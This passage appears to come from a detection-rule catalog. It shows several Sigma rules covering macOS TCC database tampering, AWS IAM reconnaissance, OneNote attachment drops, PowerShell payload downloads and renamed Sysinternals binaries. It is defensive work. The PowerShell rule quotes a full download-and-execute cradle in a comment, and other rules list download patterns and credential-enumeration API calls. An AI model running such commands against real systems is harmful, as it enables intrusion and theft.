    - 'violation'
    - 'denied'
    - 'blocked'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
messagematch
  • SIP
  • System Integrity Protection
  • blocked
  • bypass
  • csrutil
  • denied
  • disable
  • disabled
  • protected
  • rootless
  • violation
field:"message" kind:match
subsystemeq
  • com.apple.syspolicy
field:"subsystem" kind:eq value:"com.apple.syspolicy"

macOS TCC Database Modification

#
Status
experimental
Severity
critical
Author
Eric Brown - Nebulock, Inc.
Source
github.com/Nebulock-Inc/macos-coresigma

Detects modifications to the TCC (Transparency, Consent, and Control) database which controls privacy permissions on macOS. Direct TCC database modification is a sophisticated evasion technique to bypass privacy protections and grant unauthorized access to sensitive resources (camera, microphone, files, etc.). This is a critical security event available on macOS 15.4+.

Known False Positives

  • System updates and installations
  • MDM policy changes
  • Legitimate applications requesting permissions
  • User-initiated permission changes (rare to see at this level)

MITRE ATT&CK Coverage

Rule Body

title: macOS TCC Database Modification
id: d187fdf7-5c6f-4f23-9694-71d87472407a
status: experimental
description: 'Detects modifications to the TCC (Transparency, Consent, and Control)
  database

  which controls privacy permissions on macOS. Direct TCC database modification

  is a sophisticated evasion technique to bypass privacy protections and grant

  unauthorized access to sensitive resources (camera, microphone, files, etc.).

  This is a critical security event available on macOS 15.4+.

  '
author: Eric Brown - Nebulock, Inc.
date: 2025/10/31
modified: 2025/10/31
references:
- https://attack.mitre.org/techniques/T1562/001/
- https://attack.mitre.org/techniques/T1222/
logsource:
  product: macos
  service: endpointsecurity
detection:
  selection:
    esf.event_type: 147
    event.action: tcc_modify
  condition: selection
falsepositives:
- System updates and installations
- MDM policy changes
- Legitimate applications requesting permissions
- User-initiated permission changes (rare to see at this level)
fields:
- event_type
- event_name
- ProcessId
- Image
- User
- service
- client
tags:
- attack.defense_evasion
- attack.t1562.001
- attack.t1222
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  esf.event_type: 147
  event.action: tcc_modify

Indicators

These rows show field, operator, and value matches.

Many Recon Events

#
Status
test
Severity
high
Time window
1m
Author
Zach Mathis (@yamatosecurity)
Source
github.com/Yamato-Security/suzaku-rules

Detects multiple reconnaissance events, which may indicate an attacker attempting to gather information about the target environment. For each user ARN, it will look for three or more different reconnaissance events within a one minute timespan. If you are getting too many false positives, you can lower the timespan or increase the number of events required to trigger an alert.

MITRE ATT&CK Coverage

TacticTechniques
ReconnaissanceNo specific technique

Telemetry Coverage

PlatformRecord / event type
AWSCloudTrail event GetAccountAuthorizationDetails: Retrieves information about all IAM users, groups, roles, and policies in the account, including their relationships.
AWSCloudTrail event GetCredentialReport: Retrieves the credential report for the account, listing all IAM users and the status of their credentials.
AWSCloudTrail event GetPolicy: Retrieves metadata about a managed IAM policy, including its ARN, default version, and attachment count.
AWSCloudTrail event GetPolicyVersion: Retrieves the policy document for a specific version of a managed IAM policy.
AWSCloudTrail event GetRole: Retrieves metadata about an IAM role, including its trust policy and attached managed policies.
AWSCloudTrail event GetRolePolicy: Retrieves the inline policy document embedded in an IAM role.
AWSCloudTrail event GetUser: Retrieves metadata about an IAM user, including path, user ID, ARN, and creation date.
AWSCloudTrail event GetUserPolicy: Retrieves the inline policy document embedded in an IAM user.
AWSCloudTrail event ListAccessKeys: Returns metadata about the access keys associated with a specified IAM user, including key IDs, status, and creation dates.
AWSCloudTrail event ListAttachedRolePolicies: Lists all managed policies attached to a specified IAM role.
AWSCloudTrail event ListAttachedUserPolicies: Lists all managed policies attached to a specified IAM user.
AWSCloudTrail event ListGroups: Returns a paginated list of IAM groups in the current AWS account.
AWSCloudTrail event ListRoles: Returns a paginated list of IAM roles in the current AWS account, optionally filtered by path prefix.
AWSCloudTrail event ListUserPolicies: Lists the names of inline policies embedded in a specified IAM user.
AWSCloudTrail event ListUsers: Returns a paginated list of IAM users in the current AWS account, optionally filtered by path prefix.

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body


title: Many Recon Events
id: 08d8b077-cc1c-4b74-8e9c-e07f84b203f0
status: test
description: |
    Detects multiple reconnaissance events, which may indicate an attacker attempting to gather information about the target environment.
    For each user ARN, it will look for three or more different reconnaissance events within a one minute timespan.
    If you are getting too many false positives, you can lower the timespan or increase the number of events required to trigger an alert.
references:
author: Zach Mathis (@yamatosecurity)
date: 2025-08-02
modified: 2025-08-02
tags:
    - attack.reconnaissance
logsource:
    product: aws
    service: cloudtrail
correlation:
    type: value_count
    rules:
        - Recon Event
    group-by:
        - userIdentity.arn
    timespan: 1m
    condition:
        gte: 3
        field: eventName
    generate: false
level: high
---
title: Recon Event
id: 33ecb0d0-389f-4954-ae8e-7b62f9e369b8
status: test
description: Detects reconnaissance activity.
references:
author: Zach Mathis (@yamatosecurity)
date: 2025-08-02
modified: 2025-08-02
tags:
    - attack.reconnaissance
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'iam.amazonaws.com'
    selection_recon:
          eventName:
            - ListUsers
            - ListRoles
            - ListGroups
            - ListAttachedRolePolicies
            - ListAttachedUserPolicies
            - ListUserPolicies
            - ListAccessKeys
            - GetCredentialReport
            - GetAccountAuthorizationDetails
            - GetCallerIdentity
            - GetPolicy
            - GetPolicyVersion
            - GetRole
            - GetRolePolicy
            - GetUser
            - GetUserPolicy
            - DescribeRegions
            - DescribeAvailabilityZones
            - DescribeVpcs
            - DescribeSubnets
            - DescribeSecurityGroups
            - DescribeInstances
            - DescribeVolumes
            - DescribeImages
            - DescribeNetworkInterfaces
            - ListServiceQuotas
            - ListServices
            - ListBuckets
            - GetBucketAcl
            - GetBucketPolicy
            - ListTables
            - DescribeTable
            - ListRepositories
            - DescribeRepositories
            - GetSessionToken
            - LookupEvents
            - DescribeTrails
            - GetTrailStatus
            - ListTrails
            - ListFunctions
            - ListTopics   
            - ListQueues   
            - ListClusters 
            - DescribeCluster
    condition: all of selection*
level: low

Stages and Predicates

Stage 0: condition

all of selection*

Stage 1: selection

selection:
    eventSource: 'iam.amazonaws.com'

Stage 2: selection_recon

selection_recon:
      eventName:
        - ListUsers
        - ListRoles
        - ListGroups
        - ListAttachedRolePolicies
        - ListAttachedUserPolicies
        - ListUserPolicies
        - ListAccessKeys
        - GetCredentialReport
        - GetAccountAuthorizationDetails
        - GetCallerIdentity
        - GetPolicy
        - GetPolicyVersion
        - GetRole
        - GetRolePolicy
        - GetUser
        - GetUserPolicy
        - DescribeRegions
        - DescribeAvailabilityZones
        - DescribeVpcs
        - DescribeSubnets
        - DescribeSecurityGroups
        - DescribeInstances
        - DescribeVolumes
        - DescribeImages
        - DescribeNetworkInterfaces
        - ListServiceQuotas
        - ListServices
        - ListBuckets
        - GetBucketAcl
        - GetBucketPolicy
        - ListTables
        - DescribeTable
        - ListRepositories
        - DescribeRepositories
        - GetSessionToken
        - LookupEvents
        - DescribeTrails
        - GetTrailStatus
        - ListTrails
        - ListFunctions
        - ListTopics
        - ListQueues
        - ListClusters
        - DescribeCluster

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • DescribeAvailabilityZones
  • DescribeCluster
  • DescribeImages
  • DescribeInstances
  • DescribeNetworkInterfaces
  • DescribeRegions
  • DescribeRepositories
  • DescribeSecurityGroups
  • DescribeSubnets
  • DescribeTable
  • DescribeTrails
  • DescribeVolumes
  • DescribeVpcs
  • GetAccountAuthorizationDetails
  • GetBucketAcl
  • GetBucketPolicy
  • GetCallerIdentity corpus 4 (sigma 3, kusto 1)
  • GetCredentialReport
  • GetPolicy
  • GetPolicyVersion
  • GetRole
  • GetRolePolicy
  • GetSessionToken corpus 2 (sigma 2)
  • GetTrailStatus
  • GetUser
  • GetUserPolicy
  • ListAccessKeys
  • ListAttachedRolePolicies
  • ListAttachedUserPolicies
  • ListBuckets corpus 2 (sigma 2)
  • ListClusters
  • ListFunctions
  • ListGroups
  • ListQueues
  • ListRepositories
  • ListRoles corpus 2 (sigma 2)
  • ListServiceQuotas
  • ListServices
  • ListTables
  • ListTopics
  • ListTrails
  • ListUserPolicies
  • ListUsers corpus 2 (sigma 2)
  • LookupEvents
field:"aws::eventName" kind:eq
eventSourceeq
  • iam.amazonaws.com corpus 22 (sigma 18, splunk 4)
field:"aws::eventSource" kind:eq value:"iam.amazonaws.com"

OneNote Attachment File Dropped In Suspicious Location

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects creation of files with the ".one"/".onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments

Known False Positives

  • Legitimate usage of ".one" or ".onepkg" files from those locations

MITRE ATT&CK Coverage

TacticTechniques
StealthNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: OneNote Attachment File Dropped In Suspicious Location
id: 7fd164ba-126a-4d9c-9392-0d4f7c243df0
status: test
description: Detects creation of files with the ".one"/".onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments
references:
    - https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/
    - https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-22
modified: 2023-09-19
tags:
    - attack.stealth
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains:
            # Note: add more common locations for drops such as download folders and the like. Or baseline legitimate locations and alert on everything else
            - '\AppData\Local\Temp\'
            - '\Users\Public\'
            - '\Windows\Temp\'
            - ':\Temp\'
        TargetFilename|endswith:
            - '.one'
            - '.onepkg'
    filter_main_onenote:
        Image|contains: ':\Program Files\Microsoft Office\'
        Image|endswith: '\ONENOTE.EXE'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Legitimate usage of ".one" or ".onepkg" files from those locations
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    TargetFilename|contains:
        - '\AppData\Local\Temp\'
        - '\Users\Public\'
        - '\Windows\Temp\'
        - ':\Temp\'
    TargetFilename|endswith:
        - '.one'
        - '.onepkg'

Stage 2: not filter_main_onenote

filter_main_onenote:
    Image|contains: ':\Program Files\Microsoft Office\'
    Image|endswith: '\ONENOTE.EXE'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenameends_with
  • .one
  • .onepkg
field:"TargetFilename" kind:ends_with
TargetFilenamematch
  • :\Temp\ corpus 5 (sigma 5)
  • \AppData\Local\Temp\ corpus 8 (sigma 8)
  • \Users\Public\ corpus 2 (sigma 2)
  • \Windows\Temp\ corpus 2 (sigma 2)
field:"TargetFilename" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\ONENOTE.EXEexcludes:Image field:"Image" value:"\ONENOTE.EXE"
Imagematch:\Program Files\Microsoft Office\excludes:Image field:"Image" value:":\Program Files\Microsoft Office\"

Payload downloaded via PowerShell

#
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker download a payload using PowerShell.

Known False Positives

  • Scripts donwloading files

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Payload downloaded via PowerShell
description: Detects scenarios where an attacker download a payload using PowerShell.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1059.001-PowerShell
- https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/
- https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters
- https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign
- https://unit42.paloaltonetworks.com/mallox-ransomware/
- https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/
tags:
- attack.execution
- attack.t1059.001 # Command and Scripting Interpreter: PowerShell 
- attack.command_and_control
- attack.t1105 # Ingress Tool Transfer
author: mdecrevoisier
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # full command: "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
  selection_powershell_native:
    EventID: 800
    EventData|contains: 'WebClient'
    EventData|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    EventData|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_modern:
    EventID: 4103
    Payload|contains: 'WebClient'
    Payload|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    Payload|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains: 'WebClient'
    ScriptBlockText|contains:
      - ".DownloadString("
      - ".DownloadStringAsync("
      - ".DownloadFile("
      - ".DownloadData("
    ScriptBlockText|contains: 
      - 'http://'
      - 'https://'
      - 'ftp://'

  condition: selection_powershell_native or selection_powershell_modern or selection_powershell_block
falsepositives:
- Scripts donwloading files
level: high

Stages and Predicates

Stage 0: condition

selection_powershell_native or selection_powershell_modern or selection_powershell_block

Stage 1: selection_powershell_native

selection_powershell_native:
  EventID: 800
  EventData|contains: 'WebClient'
  EventData|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  EventData|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Stage 2: selection_powershell_modern

selection_powershell_modern:
  EventID: 4103
  Payload|contains: 'WebClient'
  Payload|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  Payload|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Stage 3: selection_powershell_block

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains: 'WebClient'
  ScriptBlockText|contains:
    - ".DownloadString("
    - ".DownloadStringAsync("
    - ".DownloadFile("
    - ".DownloadData("
  ScriptBlockText|contains:
    - 'http://'
    - 'https://'
    - 'ftp://'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
EventDatamatch
  • ftp:// corpus 2 (sigma 2)
  • http:// corpus 2 (sigma 2)
  • https:// corpus 2 (sigma 2)
field:"EventData" kind:match
Payloadmatch
  • ftp:// corpus 2 (sigma 2)
  • http:// corpus 2 (sigma 2)
  • https:// corpus 2 (sigma 2)
field:"Payload" kind:match
ScriptBlockTextmatch
  • ftp:// corpus 2 (sigma 2)
  • http:// corpus 2 (sigma 2)
  • https:// corpus 2 (sigma 2)
field:"ScriptBlockText" kind:match

Potential Binary Impersonating Sysinternals Tools

#
Status
test
Severity
medium
Author
frack113, Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects binaries that use the same name as legitimate sysinternals tools to evade detection. This rule looks for the execution of binaries that are named similarly to Sysinternals tools. Adversary may rename their malicious tools as legitimate Sysinternals tools to evade detection.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Potential Binary Impersonating Sysinternals Tools
id: 7cce6fc8-a07f-4d84-a53e-96e1879843c9
status: test
description: |
    Detects binaries that use the same name as legitimate sysinternals tools to evade detection.
    This rule looks for the execution of binaries that are named similarly to Sysinternals tools.
    Adversary may rename their malicious tools as legitimate Sysinternals tools to evade detection.
references:
    - https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
author: frack113, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2021-12-20
modified: 2025-04-12
tags:
    - attack.execution
    - attack.stealth
    - attack.t1218
    - attack.t1202
    - attack.t1036.005
logsource:
    category: process_creation
    product: windows
detection:
    selection_exe:
        Image|endswith:
            - '\accesschk.exe'
            - '\accesschk64.exe'
            - '\AccessEnum.exe'
            - '\ADExplorer.exe'
            - '\ADExplorer64.exe'
            - '\ADInsight.exe'
            - '\ADInsight64.exe'
            - '\adrestore.exe'
            - '\adrestore64.exe'
            - '\Autologon.exe'
            - '\Autologon64.exe'
            - '\Autoruns.exe'
            - '\Autoruns64.exe'
            - '\autorunsc.exe'
            - '\autorunsc64.exe'
            - '\Bginfo.exe'
            - '\Bginfo64.exe'
            - '\Cacheset.exe'
            - '\Cacheset64.exe'
            - '\Clockres.exe'
            - '\Clockres64.exe'
            - '\Contig.exe'
            - '\Contig64.exe'
            - '\Coreinfo.exe'
            - '\Coreinfo64.exe'
            - '\CPUSTRES.EXE'
            - '\CPUSTRES64.EXE'
            - '\ctrl2cap.exe'
            - '\Dbgview.exe'
            - '\dbgview64.exe'
            - '\Desktops.exe'
            - '\Desktops64.exe'
            - '\disk2vhd.exe'
            - '\disk2vhd64.exe'
            - '\diskext.exe'
            - '\diskext64.exe'
            - '\Diskmon.exe'
            - '\Diskmon64.exe'
            - '\DiskView.exe'
            - '\DiskView64.exe'
            - '\du.exe'
            - '\du64.exe'
            - '\efsdump.exe'
            - '\FindLinks.exe'
            - '\FindLinks64.exe'
            - '\handle.exe'
            - '\handle64.exe'
            - '\hex2dec.exe'
            - '\hex2dec64.exe'
            - '\junction.exe'
            - '\junction64.exe'
            - '\ldmdump.exe'
            - '\listdlls.exe'
            - '\listdlls64.exe'
            - '\livekd.exe'
            - '\livekd64.exe'
            - '\loadOrd.exe'
            - '\loadOrd64.exe'
            - '\loadOrdC.exe'
            - '\loadOrdC64.exe'
            - '\logonsessions.exe'
            - '\logonsessions64.exe'
            - '\movefile.exe'
            - '\movefile64.exe'
            - '\notmyfault.exe'
            - '\notmyfault64.exe'
            - '\notmyfaultc.exe'
            - '\notmyfaultc64.exe'
            - '\ntfsinfo.exe'
            - '\ntfsinfo64.exe'
            - '\pendmoves.exe'
            - '\pendmoves64.exe'
            - '\pipelist.exe'
            - '\pipelist64.exe'
            - '\portmon.exe'
            - '\procdump.exe'
            - '\procdump64.exe'
            - '\procexp.exe'
            - '\procexp64.exe'
            - '\Procmon.exe'
            - '\Procmon64.exe'
            - '\psExec.exe'
            - '\psExec64.exe'
            - '\psfile.exe'
            - '\psfile64.exe'
            - '\psGetsid.exe'
            - '\psGetsid64.exe'
            - '\psInfo.exe'
            - '\psInfo64.exe'
            - '\pskill.exe'
            - '\pskill64.exe'
            - '\pslist.exe'
            - '\pslist64.exe'
            - '\psLoggedon.exe'
            - '\psLoggedon64.exe'
            - '\psloglist.exe'
            - '\psloglist64.exe'
            - '\pspasswd.exe'
            - '\pspasswd64.exe'
            - '\psping.exe'
            - '\psping64.exe'
            - '\psService.exe'
            - '\psService64.exe'
            - '\psshutdown.exe'
            - '\psshutdown64.exe'
            - '\pssuspend.exe'
            - '\pssuspend64.exe'
            - '\RAMMap.exe'
            - '\RAMMap64.exe'
            - '\RDCMan.exe'
            - '\RegDelNull.exe'
            - '\RegDelNull64.exe'
            - '\regjump.exe'
            - '\ru.exe'
            - '\ru64.exe'
            - '\sdelete.exe'
            - '\sdelete64.exe'
            - '\ShareEnum.exe'
            - '\ShareEnum64.exe'
            - '\shellRunas.exe'
            - '\sigcheck.exe'
            - '\sigcheck64.exe'
            - '\streams.exe'
            - '\streams64.exe'
            - '\strings.exe'
            - '\strings64.exe'
            - '\sync.exe'
            - '\sync64.exe'
            - '\Sysmon.exe'
            - '\Sysmon64.exe'
            - '\tcpvcon.exe'
            - '\tcpvcon64.exe'
            - '\tcpview.exe'
            - '\tcpview64.exe'
            - '\Testlimit.exe'
            - '\Testlimit64.exe'
            - '\vmmap.exe'
            - '\vmmap64.exe'
            - '\Volumeid.exe'
            - '\Volumeid64.exe'
            - '\whois.exe'
            - '\whois64.exe'
            - '\Winobj.exe'
            - '\Winobj64.exe'
            - '\ZoomIt.exe'
            - '\ZoomIt64.exe'
    selection_arm64:
        Image|endswith:
            - '\accesschk64a.exe'
            - '\ADExplorer64a.exe'
            - '\ADInsight64a.exe'
            - '\adrestore64a.exe'
            - '\Autologon64a.exe'
            - '\Autoruns64a.exe'
            - '\autorunsc64a.exe'
            - '\Clockres64a.exe'
            - '\Contig64a.exe'
            - '\Coreinfo64a.exe'
            - '\Dbgview64a.exe'
            - '\disk2vhd64a.exe'
            - '\diskext64a.exe'
            - '\DiskView64a.exe'
            - '\du64a.exe'
            - '\FindLinks64a.exe'
            - '\handle64a.exe'
            - '\hex2dec64a.exe'
            - '\junction64a.exe'
            - '\LoadOrd64a.exe'
            - '\LoadOrdC64a.exe'
            - '\logonsessions64a.exe'
            - '\movefile64a.exe'
            - '\notmyfault64a.exe'
            - '\notmyfaultc64a.exe'
            - '\pendmoves64a.exe'
            - '\pipelist64a.exe'
            - '\procdump64a.exe'
            - '\procexp64a.exe'
            - '\Procmon64a.exe'
            - '\PsExec64a.exe'
            - '\psfile64a.exe'
            - '\PsGetsid64a.exe'
            - '\PsInfo64a.exe'
            - '\pskill64a.exe'
            - '\psloglist64a.exe'
            - '\pspasswd64a.exe'
            - '\psping64a.exe'
            - '\PsService64a.exe'
            - '\pssuspend64a.exe'
            - '\RAMMap64a.exe'
            - '\RegDelNull64a.exe'
            - '\ru64a.exe'
            - '\sdelete64a.exe'
            - '\sigcheck64a.exe'
            - '\streams64a.exe'
            - '\strings64a.exe'
            - '\sync64a.exe'
            - '\Sysmon64a.exe'
            - '\tcpvcon64a.exe'
            - '\tcpview64a.exe'
            - '\vmmap64a.exe'
            - '\whois64a.exe'
            - '\Winobj64a.exe'
            - '\ZoomIt64a.exe'
    filter_valid:
        - Company:
              - 'Sysinternals - www.sysinternals.com'
              - 'Sysinternals'
        - Product|startswith: 'Sysinternals'
    filter_empty:
        - Company: null
        - Product: null
    condition: 1 of selection_* and not 1 of filter_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

1 of selection_* and not 1 of filter_*

Stage 1: selection_exe

selection_exe:
    Image|endswith:
        - '\accesschk.exe'
        - '\accesschk64.exe'
        - '\AccessEnum.exe'
        - '\ADExplorer.exe'
        - '\ADExplorer64.exe'
        - '\ADInsight.exe'
        - '\ADInsight64.exe'
        - '\adrestore.exe'
        - '\adrestore64.exe'
        - '\Autologon.exe'
        - '\Autologon64.exe'
        - '\Autoruns.exe'
        - '\Autoruns64.exe'
        - '\autorunsc.exe'
        - '\autorunsc64.exe'
        - '\Bginfo.exe'
        - '\Bginfo64.exe'
        - '\Cacheset.exe'
        - '\Cacheset64.exe'
        - '\Clockres.exe'
        - '\Clockres64.exe'
        - '\Contig.exe'
        - '\Contig64.exe'
        - '\Coreinfo.exe'
        - '\Coreinfo64.exe'
        - '\CPUSTRES.EXE'
        - '\CPUSTRES64.EXE'
        - '\ctrl2cap.exe'
        - '\Dbgview.exe'
        - '\dbgview64.exe'
        - '\Desktops.exe'
        - '\Desktops64.exe'
        - '\disk2vhd.exe'
        - '\disk2vhd64.exe'
        - '\diskext.exe'
        - '\diskext64.exe'
        - '\Diskmon.exe'
        - '\Diskmon64.exe'
        - '\DiskView.exe'
        - '\DiskView64.exe'
        - '\du.exe'
        - '\du64.exe'
        - '\efsdump.exe'
        - '\FindLinks.exe'
        - '\FindLinks64.exe'
        - '\handle.exe'
        - '\handle64.exe'
        - '\hex2dec.exe'
        - '\hex2dec64.exe'
        - '\junction.exe'
        - '\junction64.exe'
        - '\ldmdump.exe'
        - '\listdlls.exe'
        - '\listdlls64.exe'
        - '\livekd.exe'
        - '\livekd64.exe'
        - '\loadOrd.exe'
        - '\loadOrd64.exe'
        - '\loadOrdC.exe'
        - '\loadOrdC64.exe'
        - '\logonsessions.exe'
        - '\logonsessions64.exe'
        - '\movefile.exe'
        - '\movefile64.exe'
        - '\notmyfault.exe'
        - '\notmyfault64.exe'
        - '\notmyfaultc.exe'
        - '\notmyfaultc64.exe'
        - '\ntfsinfo.exe'
        - '\ntfsinfo64.exe'
        - '\pendmoves.exe'
        - '\pendmoves64.exe'
        - '\pipelist.exe'
        - '\pipelist64.exe'
        - '\portmon.exe'
        - '\procdump.exe'
        - '\procdump64.exe'
        - '\procexp.exe'
        - '\procexp64.exe'
        - '\Procmon.exe'
        - '\Procmon64.exe'
        - '\psExec.exe'
        - '\psExec64.exe'
        - '\psfile.exe'
        - '\psfile64.exe'
        - '\psGetsid.exe'
        - '\psGetsid64.exe'
        - '\psInfo.exe'
        - '\psInfo64.exe'
        - '\pskill.exe'
        - '\pskill64.exe'
        - '\pslist.exe'
        - '\pslist64.exe'
        - '\psLoggedon.exe'
        - '\psLoggedon64.exe'
        - '\psloglist.exe'
        - '\psloglist64.exe'
        - '\pspasswd.exe'
        - '\pspasswd64.exe'
        - '\psping.exe'
        - '\psping64.exe'
        - '\psService.exe'
        - '\psService64.exe'
        - '\psshutdown.exe'
        - '\psshutdown64.exe'
        - '\pssuspend.exe'
        - '\pssuspend64.exe'
        - '\RAMMap.exe'
        - '\RAMMap64.exe'
        - '\RDCMan.exe'
        - '\RegDelNull.exe'
        - '\RegDelNull64.exe'
        - '\regjump.exe'
        - '\ru.exe'
        - '\ru64.exe'
        - '\sdelete.exe'
        - '\sdelete64.exe'
        - '\ShareEnum.exe'
        - '\ShareEnum64.exe'
        - '\shellRunas.exe'
        - '\sigcheck.exe'
        - '\sigcheck64.exe'
        - '\streams.exe'
        - '\streams64.exe'
        - '\strings.exe'
        - '\strings64.exe'
        - '\sync.exe'
        - '\sync64.exe'
        - '\Sysmon.exe'
        - '\Sysmon64.exe'
        - '\tcpvcon.exe'
        - '\tcpvcon64.exe'
        - '\tcpview.exe'
        - '\tcpview64.exe'
        - '\Testlimit.exe'
        - '\Testlimit64.exe'
        - '\vmmap.exe'
        - '\vmmap64.exe'
        - '\Volumeid.exe'
        - '\Volumeid64.exe'
        - '\whois.exe'
        - '\whois64.exe'
        - '\Winobj.exe'
        - '\Winobj64.exe'
        - '\ZoomIt.exe'
        - '\ZoomIt64.exe'

Stage 2: selection_arm64

selection_arm64:
    Image|endswith:
        - '\accesschk64a.exe'
        - '\ADExplorer64a.exe'
        - '\ADInsight64a.exe'
        - '\adrestore64a.exe'
        - '\Autologon64a.exe'
        - '\Autoruns64a.exe'
        - '\autorunsc64a.exe'
        - '\Clockres64a.exe'
        - '\Contig64a.exe'
        - '\Coreinfo64a.exe'
        - '\Dbgview64a.exe'
        - '\disk2vhd64a.exe'
        - '\diskext64a.exe'
        - '\DiskView64a.exe'
        - '\du64a.exe'
        - '\FindLinks64a.exe'
        - '\handle64a.exe'
        - '\hex2dec64a.exe'
        - '\junction64a.exe'
        - '\LoadOrd64a.exe'
        - '\LoadOrdC64a.exe'
        - '\logonsessions64a.exe'
        - '\movefile64a.exe'
        - '\notmyfault64a.exe'
        - '\notmyfaultc64a.exe'
        - '\pendmoves64a.exe'
        - '\pipelist64a.exe'
        - '\procdump64a.exe'
        - '\procexp64a.exe'
        - '\Procmon64a.exe'
        - '\PsExec64a.exe'
        - '\psfile64a.exe'
        - '\PsGetsid64a.exe'
        - '\PsInfo64a.exe'
        - '\pskill64a.exe'
        - '\psloglist64a.exe'
        - '\pspasswd64a.exe'
        - '\psping64a.exe'
        - '\PsService64a.exe'
        - '\pssuspend64a.exe'
        - '\RAMMap64a.exe'
        - '\RegDelNull64a.exe'
        - '\ru64a.exe'
        - '\sdelete64a.exe'
        - '\sigcheck64a.exe'
        - '\streams64a.exe'
        - '\strings64a.exe'
        - '\sync64a.exe'
        - '\Sysmon64a.exe'
        - '\tcpvcon64a.exe'
        - '\tcpview64a.exe'
        - '\vmmap64a.exe'
        - '\whois64a.exe'
        - '\Winobj64a.exe'
        - '\ZoomIt64a.exe'

Stage 3: not filter_*

filter_valid:
    - Company:
          - 'Sysinternals - www.sysinternals.com'
          - 'Sysinternals'
    - Product|startswith: 'Sysinternals'
filter_empty:
    - Company: null
    - Product: null

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \ADExplorer.exe corpus 4 (sigma 4)
  • \ADExplorer64.exe corpus 4 (sigma 4)
  • \ADExplorer64a.exe corpus 4 (sigma 4)
  • \ADInsight.exe
  • \ADInsight64.exe
  • \ADInsight64a.exe
  • \AccessEnum.exe
  • \Autologon.exe
  • \Autologon64.exe
  • \Autologon64a.exe
  • \Autoruns.exe
  • \Autoruns64.exe
  • \Autoruns64a.exe
  • \Bginfo.exe
  • \Bginfo64.exe
  • \CPUSTRES.EXE
  • \CPUSTRES64.EXE
  • \Cacheset.exe
  • \Cacheset64.exe
  • \Clockres.exe
  • \Clockres64.exe
  • \Clockres64a.exe
  • \Contig.exe
  • \Contig64.exe
  • \Contig64a.exe
  • \Coreinfo.exe
  • \Coreinfo64.exe
  • \Coreinfo64a.exe
  • \Dbgview.exe
  • \Dbgview64a.exe
  • \Desktops.exe
  • \Desktops64.exe
  • \DiskView.exe
  • \DiskView64.exe
  • \DiskView64a.exe
  • \Diskmon.exe
  • \Diskmon64.exe
  • \FindLinks.exe
  • \FindLinks64.exe
  • \FindLinks64a.exe
  • +161 more values (see full rule source)
field:"Image" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CompanyeqSysinternals - www.sysinternals.comexcludes:Company field:"Company" value:"Sysinternals - www.sysinternals.com"
CompanyeqSysinternalsexcludes:Company field:"Company" value:"Sysinternals"
Companyis_null(no value, null check)excludes:Company
Productis_null(no value, null check)excludes:Product
Productstarts_withSysinternalsexcludes:Product field:"Product" value:"Sysinternals"

PUA - CleanWipe Execution

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.

Known False Positives

  • Legitimate administrative use (Should be investigated either way)

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Telemetry Coverage

Rule Body

title: PUA - CleanWipe Execution
id: f44800ac-38ec-471f-936e-3fa7d9c53100
status: test
